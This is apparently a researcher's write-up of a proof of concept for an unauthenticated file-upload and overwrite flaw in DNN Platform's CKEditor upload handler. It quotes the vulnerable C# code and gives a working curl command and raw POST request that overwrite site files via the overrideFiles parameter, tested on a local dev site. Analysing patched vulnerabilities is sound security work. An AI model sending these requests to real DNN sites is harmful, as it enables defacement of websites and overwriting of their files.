
POC of DNN Insufficient Access Control - Image Upload allows for Site Content Overwrite
POC of DNN Insufficient Access Control - Image Upload allows for Site Content Overwrite
I'm a simple man, I see cvss:10/10 I go in xD
I saw this new CVE CVE-2025-64095 DNN Insufficient Access Control - Image Upload allows for Site Content Overwrite
The default HTML editor provider allows unauthenticated file uploads and images can overwrite existing files.
Description An unauthenticated user can upload and replace existing files allowing defacing a website and combined with other issue, injection XSS payloads.
https://nvd.nist.gov/vuln/detail/CVE-2025-64095
Base Score: 10.0 CRITICAL 🤷♂️
It turns out not that critical after all, since you can not upload a web shell like ASP, ASPX..etc (in the default configuration at least ) you can upload images + SVG only . you can only upload/write existing files in the web server + in a specific path, you can not even upload a file in the root dir .
Since all versions before 10.1.1 are vulnerable, i took the DNN Platform 10.1.0 (the last vulnerable version )
The diff is a little bit big, I'm only interested in the code that is related to the file upload which is related to Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx. So I focused on comparing this specific file between versions to understand what (if anything) was fixed in 10.1.1.
Let me walk you through what I found and how I discovered the vulnerability.
When I first started looking at the two versions, the overall diff showed 158 changed files between DNN Platform 10.1.0 and 10.1.1. Most were just improvements - file-scoped namespaces. But I needed to know if the file upload vulnerability was patched.
The vulnerable file is located at Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs - this is the CKEditor file upload handler. It's a common attack surface for file upload vulnerabilities.
Looking at the ProcessRequest method in 10.1.0:
public void ProcessRequest(HttpContext context)
{
context.Response.AddHeader("Pragma", "no-cache");
context.Response.AddHeader("Cache-Control", "private, no-cache");
this.HandleMethod(context);
}
That's it. There's literally no authentication check. Anyone can send a request to this endpoint and upload files, no session check, nothing.
The flow goes like this:
FileUploader.ashxProcessRequest gets calledHandleMethod which routes to UploadFileUploadFile calls UploadWholeFileUploadWholeFile processes the upload without checking if the user is logged inThe entire upload logic happens in UploadWholeFile starting around line 230. Let me show you the critical parts:
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (int i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
var fileName = Path.GetFileName(file.FileName); // Line 236
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$), "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
// ... more processing ...
// Rename File if Exists
if (!this.OverrideFiles) // Line 268
{
var counter = 0;
while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format("{0}_{1}{2}", fileNameNoExtenstion, counter, Path.GetExtension(file.FileName));
}
}
var contentType = FileContentTypeManager.Instance.GetContentType(Path.GetExtension(fileName));
var userId = UserController.Instance.GetCurrentUserInfo().UserID; // Line 284 - gets userId but never checked!
if (!contentType.StartsWith("image", StringComparison.InvariantCultureIgnoreCase))
{
FileManager.Instance.AddFile(this.StorageFolder, fileName, file.InputStream, this.OverrideFiles, true, contentType, userId);
}
else
{
// Image resizing logic follows...
}
}
}
Notice that on line 284, they call UserController.Instance.GetCurrentUserInfo() to get the userId, but they never actually verify if the user is authenticated. If you're not logged in, this just returns a null or anonymous user, but the upload continues anyway.
Also notice the OverrideFiles property on line 268:
private bool OverrideFiles =>
HttpContext.Current.Request["overrideFiles"].Equals("1")
|| HttpContext.Current.Request["overrideFiles"].Equals("true", StringComparison.InvariantCultureIgnoreCase);
This is a user-controlled parameter! Anyone can set overrideFiles=1 in their upload request and overwrite existing files.
I tested this by crafting a simple curl command:
C:\Users\pwn\Desktop>curl -x http://127.0.0.1:8080 -X POST http://mysite.dnndev.me/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx -F "[email protected]" -F "storageFolderID=1" -F "portalID=0" -F "overrideFiles=1" -F "mode=Default"
[{"group":null,"name":"poc.png","type":"image/png","size":0,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
raw POST request
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx HTTP/1.1
Host: mysite.dnndev.me
User-Agent: curl/8.13.0
Accept: */*
Content-Length: 626
Content-Type: multipart/form-data; boundary=------------------------7RKjWLYyrhvUn2AA31fJQ3
Connection: keep-alive
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="file"; filename="poc.png"
Content-Type: image/png
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="storageFolderID"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="portalID"
0
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="overrideFiles"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="mode"
Default
--------------------------7RKjWLYyrhvUn2AA31fJQ3--
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 194
[{"group":null,"name":"poc.png","type":"image/png","size":10,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
The file was uploaded successfully. I verified it by checking http://mysite.dnndev.me/Portals/_default/poc.png and sure enough, there it was.
and the file is hosted in the \Portals_default dir :
PS C:\Users\pwn\Documents\site\web02> Get-ChildItem -Path . -Filter "poc.png" -Recurse -File
Directory: C:\Users\pwn\Documents\site\web02\Website\Portals\_default
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/31/2025 4:16 PM 0 poc.png
PS C:\Users\pwn\Documents\site\web02>
I was looking for path traversal to rewrite the files in the root directory , but the protection is actually pretty good. Looking
var fileName = Path.GetFileName(file.FileName);
it works correctly. Path.GetFileName() automatically strips any directory traversal sequences. So if someone tries to upload a file named ../../../foo, it becomes just foo.
The code also has additional protections in "DNN Platform\Providers\HtmlEditorProviders\DNNConnect.CKE\Browser\FileUploader.ashx.cs"
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (var i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
if (file is null)
{
continue;
}
var fileName = Path.GetFileName(file.FileName);
if (!string.IsNullOrEmpty(fileName))
{
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$)", "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
}
else
{
throw new HttpRequestValidationException("File does not have a name");
}
if (fileName.Length > 220)
{
fileName = fileName.Substring(fileName.Length - 220);
}
// file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities
fileName = Regex.Replace(fileName, @"^\\+", string.Empty);
var fileNameNoExtenstion = Path.GetFileNameWithoutExtension(fileName);
// Rename File if Exists
if (!OverrideFiles)
{
var counter = 0;
while (File.Exists(Path.Combine(StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format(
"{0}_{1}{2}",
fileNameNoExtenstion,
counter,
Path.GetExtension(file.FileName));
}
}
as you can see in the code // file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities fileName = Regex.Replace(fileName, @"^\\+", string.Empty);
As I said, I do not think this is a critical vulnerability after all